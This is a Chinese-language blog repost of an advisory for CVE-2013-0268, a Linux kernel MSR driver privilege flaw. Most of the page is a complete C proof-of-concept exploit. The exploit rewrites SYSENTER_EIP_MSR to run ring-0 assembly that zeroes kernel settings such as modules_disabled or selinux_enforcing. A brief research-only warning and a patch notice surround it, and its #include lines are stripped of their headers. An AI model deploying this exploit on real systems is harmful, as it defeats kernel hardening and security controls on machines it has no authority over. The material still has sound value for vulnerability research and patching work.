linux 修改驱动权限,Linux Kernel 'MSR' 驱动程序本地权限提升漏洞

发布日期:2013-02-07

更新日期:2013-03-05

受影响系统:

Linux kernel 2.6.x

描述:

--------------------------------------------------------------------------------

BUGTRAQ  ID: 57838

CVE(CAN) ID: CVE-2013-0268

Linux Kernel是Linux操作系统的内核。

Linux kernel 3.7.6之前版本的arch/x86/kernel/msr.c内,函数msr_open存在漏洞,允许本地用户以root权限执行特制应用绕过目标功能限制,然后以提升的权限执行任意代码。

*>

测试方法:

--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

// PoC exploit for /dev/cpu/*/msr, 32bit userland on a 64bit host

// can do whatever in the commented area, re-enable module support, etc

// requires CONFIG_X86_MSR and just uid 0

// a small race exists between the time when the MSR is written to the first

// time and when we issue our sysenter

// we additionally require CAP_SYS_NICE to make the race win nearly guaranteed

// configured to take a hex arg of a dword pointer to set to 0

// (modules_disabled, selinux_enforcing, take your pick)

//

// Hello to Red Hat, who has shown yet again to not care until a

// public exploit is released.  Not even a bugtraq entry existed in

// their system until this was published -- and they have a paid team

// of how many?

// It's not as if I didn't mention the problem and existence of an easy

// exploit multiple times prior:

// https://twitter.com/grsecurity/status/298977370776432640

// https://twitter.com/grsecurity/status/297365303095078912

// https://twitter.com/grsecurity/status/297189488638181376

// https://twitter.com/grsecurity/status/297030133628416000

// https://twitter.com/grsecurity/status/297029470072745984

// https://twitter.com/grsecurity/status/297028324134359041

//

// spender 2013

#define _GNU_SOURCE

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define SYSENTER_EIP_MSR 0x176

u_int64_t msr;

unsigned long ourstack[65536];

u_int64_t payload_data[16];

extern void *_ring0;

extern void *_ring0_end;

void ring0(void)

{

__asm volatile(".globl _ring0\n"

"_ring0:\n"

".intel_syntax noprefix\n"

".code64\n"

// set up stack pointer with 'ourstack'

"mov esp, ecx\n"

// save registers, contains the original MSR value

"push rax\n"

"push rbx\n"

"push rcx\n"

"push rdx\n"

// play with the kernel here with interrupts disabled!

"mov rcx, qword ptr [rbx+8]\n"

"test rcx, rcx\n"

"jz skip_write\n"

"mov dword ptr [rcx], 0\n"

"skip_write:\n"

// restore MSR value before returning

"mov ecx, 0x176\n" // SYSENTER_EIP_MSR

"mov eax, dword ptr [rbx]\n"

"mov edx, dword ptr [rbx+4]\n"

"wrmsr\n"

"pop rdx\n"

"pop rcx\n"

"pop rbx\n"

"pop rax\n"

"sti\n"

"sysexit\n"

".code32\n"

".att_syntax prefix\n"

".global _ring0_end\n"

"_ring0_end:\n"

);

}

unsigned long saved_stack;

int main(int argc, char *argv[])

{

cpu_set_t set;

int msr_fd;

int ret;

u_int64_t new_msr;

struct sched_param sched;

u_int64_t resolved_addr = 0ULL;

if (argc == 2)

resolved_addr = strtoull(argv[1], NULL, 16);

/* can do this without privilege */

mlock(_ring0, (unsigned long)_ring0_end - (unsigned long)_ring0);

mlock(&payload_data, sizeof(payload_data));

CPU_ZERO(&set);

CPU_SET(0, &set);

sched.sched_priority = 99;

ret = sched_setscheduler(0, SCHED_FIFO, &sched);

if (ret) {

fprintf(stderr, "Unable to set priority.\n");

exit(1);

}

ret = sched_setaffinity(0, sizeof(cpu_set_t), &set);

if (ret) {

fprintf(stderr, "Unable to set affinity.\n");

exit(1);

}

msr_fd = open("/dev/cpu/0/msr", O_RDWR);

if (msr_fd < 0) {

msr_fd = open("/dev/msr0", O_RDWR);

if (msr_fd < 0) {

fprintf(stderr, "Unable to open /dev/cpu/0/msr\n");

exit(1);

}

}

lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);

ret = read(msr_fd, &msr, sizeof(msr));

if (ret != sizeof(msr)) {

fprintf(stderr, "Unable to read /dev/cpu/0/msr\n");

exit(1);

}

// stuff some addresses in a buffer whose address we

// pass to the "kernel" via register

payload_data[0] = msr;

payload_data[1] = resolved_addr;

printf("Old SYSENTER_EIP_MSR = %016llx\n", msr);

fflush(stdout);

lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);

new_msr = (u_int64_t)(unsigned long)&_ring0;

printf("New SYSENTER_EIP_MSR = %016llx\n", new_msr);

fflush(stdout);

ret = write(msr_fd, &new_msr, sizeof(new_msr));

if (ret != sizeof(new_msr)) {

fprintf(stderr, "Unable to modify /dev/cpu/0/msr\n");

exit(1);

}

__asm volatile(

".intel_syntax noprefix\n"

".code32\n"

"mov saved_stack, esp\n"

"lea ecx, ourstack\n"

"lea edx, label2\n"

"lea ebx, payload_data\n"

"sysenter\n"

"label2:\n"

"mov esp, saved_stack\n"

".att_syntax prefix\n"

);

printf("Success.\n");

return 0;

}

建议:

--------------------------------------------------------------------------------

厂商补丁:

Linux

-----

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.kernel.org/0b1331709591d260c1c78e86d0c51c18.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值